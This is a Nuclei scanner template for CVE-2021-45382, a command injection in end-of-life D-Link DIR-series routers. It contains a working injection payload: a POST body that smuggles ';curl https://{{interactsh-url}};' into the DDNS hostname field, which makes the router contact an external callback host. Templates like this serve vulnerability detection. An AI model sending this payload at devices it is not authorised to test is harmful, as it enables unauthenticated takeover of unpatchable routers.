nuclei-templates/http/cves/2021/CVE-2021-45382.yaml

52 lines
1.9 KiB
YAML
Raw Permalink Normal View History

2023-10-12 12:18:25 +00:00
id: CVE-2021-45382
info:
2023-11-10 05:33:25 +00:00
name: D-Link - Remote Command Execution
2023-10-12 12:18:25 +00:00
author: king-alexander
severity: critical
description: |
2023-11-10 05:33:25 +00:00
A Remote Command Execution (RCE) vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file
2023-10-12 12:18:25 +00:00
remediation: |
2023-11-10 05:33:25 +00:00
DIR-810L, DIR-820L, DIR-830L, DIR-826L, DIR-836L, all hardware revisions, have reached their End of Life ("EOL") /End of Service Life ("EOS") Life-Cycle and as such this issue will not be patched.
2023-10-12 12:18:25 +00:00
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-45382
2023-11-10 05:33:25 +00:00
- https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10264
2023-10-12 12:18:25 +00:00
- https://github.com/doudoudedi/D-LINK_Command_Injection1/blob/main/D-LINK_Command_injection.md#poc
- https://github.com/ARPSyndicate/cvemon
- https://github.com/Ostorlab/KEV
2023-11-10 05:33:25 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-45382
2023-11-10 05:33:25 +00:00
cwe-id: CWE-78
epss-score: 0.96989
epss-percentile: 0.9972
2023-11-10 05:33:25 +00:00
cpe: cpe:2.3:o:dlink:dir-820l_firmware:-:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: dlink
product: dir-820l_firmware
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,dlink,kev,rce
2023-11-10 05:33:25 +00:00
variables:
string1: "{{to_lower(rand_base(5))}}"
string2: "{{to_lower(rand_base(6))}}"
2023-10-12 12:18:25 +00:00
http:
- method: POST
path:
2023-11-10 05:33:25 +00:00
- "{{BaseURL}}/ddns_check.ccp"
2023-11-10 05:33:25 +00:00
body: "ccp_act=doCheck&ddnsHostName=;curl https://{{interactsh-url}};&ddnsUsername={{string1}}&ddnsPassword={{string2}}"
2023-10-12 12:18:25 +00:00
2023-11-10 05:33:25 +00:00
matchers-condition: and
2023-10-12 12:18:25 +00:00
matchers:
- type: word
part: interactsh_protocol
words:
2023-11-10 05:33:25 +00:00
- http
- type: word
part: interactsh_request
words:
- "User-Agent: curl"
# digest: 4a0a00473045022100c647a89b0651d2133cb5f1d57b68061e5a9de2db428f20c70389bf5366a8069802202b80ed7561f85707146a8bd4058f31a38c3fe5281afa4505525b6df8b1f61057:922c64590222798bb761d5b6d8e72950